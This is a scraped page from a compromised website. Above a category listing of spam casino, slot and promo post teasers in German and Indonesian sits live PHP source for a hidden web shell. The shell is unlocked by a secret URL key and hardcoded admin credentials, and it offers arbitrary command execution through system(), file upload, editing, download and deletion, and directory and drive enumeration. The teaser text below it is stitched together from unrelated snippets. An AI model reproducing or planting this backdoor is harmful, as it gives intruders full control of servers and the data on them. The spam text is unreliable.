if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 500A Z – Page 4 – collectives.berlin

Your digital paradise.

Category: 500A Z

  • Online — Informationen zu Casinospielen

    Online — Informationen zu Casinospielen Doch es gibt ein paar Stolperfallen, die du kennen solltest, um dein Spielerlebnis optimal zu genießen. Casino Boni bieten viele spannende Möglichkeiten, aber es lohnt sich, die Pros und Cons genau abzuwägen, bevor du dich für ein Angebot entscheidest. Eine Laufzeit von 30 Tagen ist ideal, um das Angebot ohne…

    Click or not…

  • Spielautomat — verschiedene Themen und Spielvarianten

    Spielautomat — verschiedene Themen und Spielvarianten Die Zweitligisten überraschten den Spitzenverein aber mit einer frühen Führung. Mit dem BOA-Berufstest erfahren Berufseinsteiger mehr über die eigenen Stärken und finden den passenden Job. Vier Sorten, alle mit unterschiedlichen Garstufen? Dieser Schalottensalat ist die bessere vegetarische Grillalternative. Wenige Wochen vor dem Konzert scheint alles gegen Klodian zu laufen.…

    Click or not…

  • Spielautomat — beliebte Spielautomaten online

    Spielautomat — beliebte Spielautomaten online Es handelt sich um einen der ältesten Online-Spielautomaten mit ansteigendem Hauptgewinn, aber nach wie vor um eine ganz heiße Nummer. Inzwischen gibt es Mega Moolah in zahlreichen verschiedenen Variationen wie Atlantean Treasures oder Absolootly Mad. Legacy of Dead online Die Powerspins sind beiLucky Pharaoh das Bonusspiel, das nicht durch ein Scatter-Symbol…

    Click or not…

  • Game online 2026 — permainan terbaru dan populer

    Game online 2026 — permainan terbaru dan populer Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) memastikan layanan pendidikan dan pembelajaran dapat berlangsung bagi satuan pendidikan yang terdampak bencana, dengan mengutamakan keselamatan murid, pendidik, dan tenaga kependidikan. Aplikasi Mobile Antrean dapat digunakan untuk mengambil nomor antrean secara online di setiap pelayanan publik (kesehatan) Provinsi Bali yang telah…

    Click or not…

  • Jackpot slot online — informasi game terbaru

    Jackpot slot online — informasi game terbaru Temukan cara belanja hemat tanpa repot dengan CupoNation Indonesia, destinasi utama Anda untuk kumpulan kode promo dan kupon diskon dari berbagai toko online terpercaya. Temukan beragam penawaran spesial untuk kebutuhan harian Anda. Mulai dari kebutuhan pokok, produk rumah tangga, hingga barang elektronik. Nikmati diskon spesial produk terpilih, promo…

    Click or not…

  • Jackpot slot online — informasi game terbaru

    Jackpot slot online — informasi game terbaru Promo tidak hanya sekedar bisa meningkatkan kesadaran merek dan loyalitas saja, tetapi juga bisa membuat penjualan produk meningkat. Dengan promo, pelanggan akan termotivasi untuk membeli produk kamu. Kirimkan newsletter berisi informasi terbaru tentang produk atau layananmu, promo spesial, atau konten eksklusif lainnya. Atau, berikan diskon 50% tanpa minimal…

    Click or not…

  • Game online populer dengan berbagai pilihan permainan

    Game online populer dengan berbagai pilihan permainan Kami menghadirkan ribuan kode promo aktif yang diperbarui setiap hari, dikurasi langsung oleh tim ahli hemat kami agar Anda tidak pernah ketinggalan penawaran terbaik. Semua kupon yang kami tampilkan telah melalui proses verifikasi, sehingga Anda dapat berbelanja online dengan tenang dan percaya diri. Promo adalah strategi pemasaran yang…

    Click or not…

  • Jackpot slot — fitur hadiah dalam permainan

    Jackpot slot — fitur hadiah dalam permainan Hari Kebaikan Sedunia yang diperingati setiap tanggal 13 November bisa menjadi kesempatan kamu buat promo produk sekaligus berbagi dengan sesama. Produk favorit seperti minyak goreng atau susu bisa cepat habis. Datanglah di hari pertama, misalnya Jumat pagi, untuk mendapatkan pilihan yang lengkap. Mulai dari sembako, makanan ringan, minuman,…

    Click or not…

  • Jackpot slot online — permainan dengan hadiah besar

    Jackpot slot online — permainan dengan hadiah besar Menentukan ide promo menarik untuk bisnis sangat penting untuk dilakukan secara maksimal agar produk kamu bisa terjual sesuai harapan dan tujuan. Buatlah promo flash sale tanggal cantik 12.12 untuk meningkatkan penjualan. Agar menarik, buatlah flash sale dengan jumlah produk terbatas. Promo adalah kegiatan untuk memperkenalkan, menarik minat,…

    Click or not…

  • Game online 2026 — ulasan game terbaru

    Game online 2026 — ulasan game terbaru Bentuk kegiatan promo bisa berupa foto, video, teks, dokumen, brosur, tatap muka langsung, iklan, dan bentuk lainnya. Bagi kamu yang ingin menjangkau pelanggan baru, maka bisa adakan giveaway. Kamu bisa pilih hari yang berkaitan dengan bisnis kamu dan berikan promo diskon di hari tersebut. Hari Kebaikan Sedunia yang…

    Click or not…